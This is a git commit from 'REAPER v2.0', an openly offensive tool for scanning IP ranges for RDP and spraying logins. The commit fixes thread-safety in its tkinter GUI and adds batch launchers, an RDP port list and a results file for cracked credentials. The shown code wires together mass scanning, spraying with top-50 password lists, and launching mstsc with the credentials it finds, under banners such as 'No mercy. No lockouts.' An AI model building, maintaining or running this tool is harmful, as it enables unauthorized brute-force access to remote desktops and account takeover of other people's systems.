Fixed scan crash: all tkinter widget access now happens on main thread (Tcl NOT thread-safe). _log() routes GUI updates via root.after(). _scan_worker reads all tkinter vars on main thread. Removed unused _spray_queue.

This commit is contained in:
drjones
2026-05-06 12:35:35 -07:00
parent 399e36f848
commit 7068dbd12d
7 changed files with 242 additions and 104 deletions

106
MASTERSTER.bat Normal file
View File

@@ -0,0 +1,106 @@
@echo off
title REAPER v2.0 - MASTERSTER
color 0C
cd /d "%~dp0"
:: ── FORCE UTF-8 ──────────────────────────────────────────────
set PYTHONIOENCODING=utf-8
:: ── BANNER ───────────────────────────────────────────────────
cls
echo.
echo ╔══════════════════════════════════════════════════════════════╗
echo ║ ☠ REAPER v2.0 - MASTERSTER ☠ ║
echo ║ Remote Exploitation ^& Password Enumeration Routine ║
echo ║ ║
echo ║ One swoop. One reaping. No mercy. ║
echo ╚══════════════════════════════════════════════════════════════╝
echo.
echo Made for doom by drjones.
echo.
:: ── STEP 1: CHECK PYTHON ────────────────────────────────────
echo [*] Step 1/6 — Checking Python...
python --version >nul 2>&1
if %errorlevel% neq 0 (
echo.
echo [FAIL] Python is not installed or not in PATH!
echo.
echo Download Python 3.8+ from: https://python.org/downloads
echo Make sure to check "Add Python to PATH" during installation.
echo.
pause
exit /b 1
)
for /f "tokens=2" %%i in ('python --version 2^>^&1') do set pyver=%%i
echo [OK] Python %pyver% found
echo.
:: ── STEP 2: INSTALL DEPENDENCIES ────────────────────────────
echo [*] Step 2/6 — Installing dependencies (aiohttp, aiohttp-socks)...
echo.
python -m pip install --upgrade pip -q
python -m pip install aiohttp aiohttp-socks -q
if %errorlevel% neq 0 (
echo [WARN] pip install had issues, but continuing...
) else (
echo [OK] Dependencies installed
)
echo.
:: ── STEP 3: CREATE DIRECTORIES ──────────────────────────────
echo [*] Step 3/6 — Creating directories...
if not exist "wordlists" mkdir wordlists
if not exist "results" mkdir results
echo [OK] Directories ready
echo.
:: ── STEP 4: VERIFY FILES ────────────────────────────────────
echo [*] Step 4/6 — Verifying project files...
set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py proxy.py
set ALL_OK=1
for %%f in (%FILES%) do (
if exist "%%f" (
echo [OK] %%f
) else (
echo [WARN] %%f not found
set ALL_OK=0
)
)
if not exist "results\good.txt" (
echo. > "results\good.txt"
echo [OK] Created results\good.txt
)
echo.
:: ── STEP 5: TEST IMPORTS ────────────────────────────────────
echo [*] Step 5/6 — Testing imports...
python -c "from scanner import scan_ips, RDP_PORTS; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, TOP50_PASSWORDS; from proxy import ProxyManager; print(' [OK] All modules loaded')" 2>&1
if %errorlevel% neq 0 (
echo [FAIL] Import test failed. There may be a syntax error.
pause
exit /b 1
)
echo [OK] All systems nominal
echo.
:: ── STEP 6: LAUNCH ──────────────────────────────────────────
echo [*] Step 6/6 — Launching the Reaper...
echo.
echo ╔══════════════════════════════════════════════════════════════╗
echo ║ ☠ REAPER v2.0 ☠ ║
echo ║ No mercy. No lockouts. Just results. ║
echo ║ ║
echo ║ The network is a graveyard, and I'm the reaper. ║
echo ╚══════════════════════════════════════════════════════════════╝
echo.
echo Made for doom by drjones.
echo.
python main.py
if %errorlevel% neq 0 (
echo.
echo [!] REAPER encountered an error. Check the output above.
pause
)

View File

@@ -1,84 +0,0 @@
@echo off
title REAPER v2.0 - All-in-one launcher
color 0C
cd /d "%~dp0"
:: ============================================================================
:: Single-file entry: Python check, pip deps, folders, smoke test, launch GUI
:: ============================================================================
set PYTHONIOENCODING=utf-8
set PYTHONUNBUFFERED=1
cls
echo.
echo ╔══════════════════════════════════════════════════════════════╗
echo ║ REAPER v2.0 — ALL-IN-ONE ║
echo ║ deps · env · launch ║
echo ╚══════════════════════════════════════════════════════════════╝
echo.
echo [1/6] Python...
python --version >nul 2>&1
if %errorlevel% neq 0 (
echo [FAIL] Python not in PATH. Install 3.8+ from https://python.org/downloads
pause
exit /b 1
)
for /f "tokens=2" %%i in ('python --version 2^>^&1') do set pyver=%%i
echo [OK] %pyver%
echo.
echo [2/6] Dependencies ^(pip^)...
python -m pip install --upgrade pip -q
if exist "requirements.txt" (
python -m pip install -r requirements.txt -q
) else (
python -m pip install aiohttp aiohttp-socks -q
)
if %errorlevel% neq 0 (
echo [WARN] pip reported an issue — continuing
) else (
echo [OK] Requirements satisfied
)
echo.
echo [3/6] Directories...
if not exist "wordlists" mkdir wordlists
if not exist "results" mkdir results
echo [OK] wordlists, results
echo.
echo [4/6] Project files ^& optional rdpthread.exe...
set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py proxy.py
for %%f in (%FILES%) do (
if exist "%%f" ( echo [OK] %%f ) else ( echo [WARN] missing %%f )
)
if not exist "results\good.txt" echo. > "results\good.txt"
if exist "rdpthread.exe" (
echo [OK] rdpthread.exe — credential validation available
) else (
echo [--] rdpthread.exe optional — bundle for verified spray
)
echo.
echo [5/6] Import smoke test...
python -c "from scanner import scan_ips, RDP_PORTS; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, TOP50_PASSWORDS; from proxy import ProxyManager; print(' [OK] imports')" 2>&1
if %errorlevel% neq 0 (
echo [FAIL] Import check failed.
pause
exit /b 1
)
echo.
echo [6/6] Starting application...
echo.
python main.py
set APP_EXIT=%errorlevel%
if %APP_EXIT% neq 0 (
echo.
echo [!] Exited with code %APP_EXIT%
pause
)
exit /b %APP_EXIT%

64
gui.py
View File

@@ -94,7 +94,6 @@ class FastRDPGUI:
self.users_file = os.path.join(WORDLISTS_DIR, "users.txt")
self.passwords_file = os.path.join(WORDLISTS_DIR, "passwords.txt")
self._metric_labels: dict = {}
self._spray_queue: asyncio.Queue = None
# Proxy manager
self.proxy_manager = ProxyManager()
@@ -758,11 +757,8 @@ class FastRDPGUI:
# ── LOGGING ────────────────────────────────────────────
def _log(self, msg: str, tag: str = "info"):
ts = time.strftime("%H:%M:%S")
try:
self.log_text.insert("end", f"[{ts}] {msg}\n", tag)
self.log_text.see("end")
except tk.TclError:
pass
# Schedule GUI update on main thread (tkinter is NOT thread-safe)
self.root.after(0, lambda m=msg, t=tag, ts=ts: self._log_gui(m, t, ts))
tag_colors = {
"hit": "\033[92m",
"info": "\033[94m",
@@ -777,6 +773,14 @@ class FastRDPGUI:
except OSError:
pass
def _log_gui(self, msg: str, tag: str, ts: str):
"""Thread-safe GUI log append (runs on main thread via after())."""
try:
self.log_text.insert("end", f"[{ts}] {msg}\n", tag)
self.log_text.see("end")
except tk.TclError:
pass
# ── RDP CONNECT FEATURE ────────────────────────────────
def _rdp_connect(self, ip: str, port: int, username: str = "", password: str = ""):
"""Launch Windows mstsc (or store creds + launch) for given host."""
@@ -979,7 +983,22 @@ class FastRDPGUI:
print(_c("\033[96m", " \u2502 ") + _c("\033[91m", "REAPER v2.0 :: RDP Reaper :: No Mercy") + _c("\033[96m", " \u2502"))
print(_c("\033[96m", " \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518"))
thread = threading.Thread(target=self._scan_worker, daemon=True)
# Read tkinter vars on MAIN thread (Tcl NOT thread-safe)
scan_speed = self.speed_var.get()
scan_timeout = self.timeout_var.get()
scan_ports = [p for p, v in self.port_vars.items() if v.get()]
scan_randomize = self.randomize_var.get()
spray_enabled = self.spray_var.get()
ranges_path = self.ranges_entry.get().strip() if self.ranges_entry.get().strip() else ""
users_file = self.users_entry.get().strip() if self.users_entry.get().strip() else ""
pass_file = self.pass_entry.get().strip() if self.pass_entry.get().strip() else ""
thread = threading.Thread(
target=self._scan_worker,
args=(scan_speed, scan_timeout, scan_ports, scan_randomize, spray_enabled,
ranges_path, users_file, pass_file),
daemon=True
)
thread.start()
def _stop_scan(self):
@@ -997,19 +1016,25 @@ class FastRDPGUI:
self.log_text.delete("1.0", "end")
self.stats = ScanStats()
def _load_wordlists(self):
def _load_wordlists(self, users_path="", pass_path=""):
"""Load usernames and passwords from files (or use defaults)."""
usernames = TOP_USERNAMES
passwords = TOP50_PASSWORDS
uf = self.users_entry.get().strip()
if users_path:
uf = users_path
else:
uf = self.users_entry.get().strip()
if os.path.exists(uf):
with open(uf, 'r', errors='ignore') as f:
cu = [l.strip() for l in f if l.strip()]
if cu:
usernames = cu
pf = self.pass_entry.get().strip()
if pass_path:
pf = pass_path
else:
pf = self.pass_entry.get().strip()
if os.path.exists(pf):
with open(pf, 'r', errors='ignore') as f:
cp = [l.strip() for l in f if l.strip()]
@@ -1018,14 +1043,16 @@ class FastRDPGUI:
return usernames, passwords
def _scan_worker(self):
"""Background thread: scan + spray run CONCURRENTLY."""
def _scan_worker(self, speed, timeout, active_ports, randomize, spray_enabled,
ranges_path="", users_path="", pass_path=""):
"""Background thread: scan + spray run CONCURRENTLY.
All tkinter values are passed from main thread (Tcl NOT thread-safe).
"""
try:
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
ranges_path = self.ranges_entry.get().strip()
if not os.path.exists(ranges_path):
if not ranges_path or not os.path.exists(ranges_path):
self._log(f"\u274c Ranges file not found: {ranges_path}", "error")
self._scan_done()
return
@@ -1040,15 +1067,12 @@ class FastRDPGUI:
self._scan_done()
return
if self.randomize_var.get():
if randomize:
random.shuffle(ips)
active_ports = [p for p, v in self.port_vars.items() if v.get()]
if not active_ports:
active_ports = [3389]
speed = self.speed_var.get()
timeout = self.timeout_var.get()
self.stats.total = len(ips) * len(active_ports)
self._log(f"\U0001f680 Scanning {len(ips):,} IPs x {len(active_ports)} ports "
@@ -1059,7 +1083,7 @@ class FastRDPGUI:
print(_c("\033[90m", " [+] " + "\u2500" * 55))
# Load wordlists now (in the background thread, before async loop)
usernames, passwords = self._load_wordlists()
usernames, passwords = self._load_wordlists(users_path, pass_path)
self._log(f"\U0001f4cb Loaded {len(usernames)} username(s) x {len(passwords)} password(s)", "system")
# ── Streaming design ─────────────────────────────
@@ -1078,7 +1102,7 @@ class FastRDPGUI:
self._update_host_status(ip, port, "\U0001f50d RDP Open \u2014 spraying...")
print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 LIVE, spraying NOW"))
if self.spray_var.get():
if spray_enabled:
# Create an asyncio task for this host's spray
task = asyncio.create_task(
self._spray_host(loop, ip, port, usernames, passwords)

65
install.bat Normal file
View File

@@ -0,0 +1,65 @@
@echo off
title REAPER v2.0 - Installer
color 0C
cd /d "%~dp0"
echo.
echo ╔═══════════════════════════════════════════════════╗
echo ║ ☠ REAPER v2.0 Installer ☠ ║
echo ║ Remote Exploitation ^& Password Enumeration ║
echo ╚═══════════════════════════════════════════════════╝
echo.
:: Check Python
python --version >nul 2>&1
if %errorlevel% neq 0 (
echo [FAIL] Python is not installed or not in PATH!
echo.
echo Download Python 3.8+ from: https://python.org/downloads
echo Make sure to check "Add Python to PATH" during installation.
echo.
pause
exit /b 1
)
for /f "tokens=2" %%i in ('python --version 2^>^&1') do set pyver=%%i
echo [OK] Python %pyver% found
:: Create directories
if not exist "wordlists" mkdir wordlists
if not exist "results" mkdir results
echo [OK] Directories created
:: Verify core files exist
set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py
for %%f in (%FILES%) do (
if exist "%%f" (
echo [OK] %%f
) else (
echo [WARN] %%f not found
)
)
:: Create initial good.txt
if not exist "results\good.txt" (
echo. > "results\good.txt"
echo [OK] Created results\good.txt
)
:: Test import
echo.
echo Testing imports...
python -c "from scanner import scan_ips, RDP_PORTS; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, TOP50_PASSWORDS; print(' [OK] All modules loaded successfully')" 2>&1
if %errorlevel% neq 0 (
echo [FAIL] Import test failed. There may be a syntax error.
pause
exit /b 1
)
echo.
echo ╔══════════════════════════════════════════╗
echo ║ Installation Complete! ║
echo ║ ║
echo ║ Run: run.bat or python main.py ║
echo ╚══════════════════════════════════════════╝
echo.
pause

1
results/good.txt Normal file
View File

@@ -0,0 +1 @@

23
run.bat Normal file
View File

@@ -0,0 +1,23 @@
@echo off
title REAPER v2.0 - RDP Exploitation Framework
cd /d "%~dp0"
:: Force UTF-8 encoding for Unicode box-drawing characters in banner
set PYTHONIOENCODING=utf-8
color 0C
echo.
echo ╔═══════════════════════════════════════════════════╗
echo ║ ☠ REAPER v2.0 ☠ ║
echo ║ Remote Exploitation ^& Password Enumeration ║
echo ║ Launching the Reaper... ║
echo ╚═══════════════════════════════════════════════════╝
echo.
python main.py
if %errorlevel% neq 0 (
echo.
echo [!] Python not found or error occurred.
echo [!] Make sure Python 3.8+ is installed and in PATH.
echo [!] Download: https://python.org/downloads
pause
)

3
wordlists/ports.txt Normal file
View File

@@ -0,0 +1,3 @@
3389
3390
3391